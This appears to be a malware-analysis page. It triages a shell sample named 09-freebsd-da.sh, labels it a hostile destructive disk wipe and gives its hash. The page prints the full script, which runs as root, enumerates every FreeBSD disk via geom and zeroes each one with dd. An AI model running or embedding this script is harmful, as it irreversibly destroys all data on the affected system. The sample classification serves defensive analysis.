Hostile 92% linux Download

09-freebsd-da.sh

Destructive disk wipe script

Wipes FreeBSD disks enumerated by geomxargs line contains zero-input dd syntax
SHA-2569efe990cb8af49461df8cda7de0dfd8b256d9bdae824c1a21eba71c83a5c9d5f

Evidence

xargs line contains zero-input dd syntax lines 1–6
1#!/bin/sh
2# FreeBSD disk wipe via geom + dd of da devices.
3if [ "$(id -u)" -eq 0 ]; then
4 geom disk list | awk '/Name:/{print "/dev/"$NF}' \
5 | xargs -I{} dd if=/dev/zero of={} bs=1m
6fi

Keyboard shortcuts on this page: j for the next sample, k for the previous one, x to go back to the feed, d to download the original bytes, r to re-queue the sample for analysis.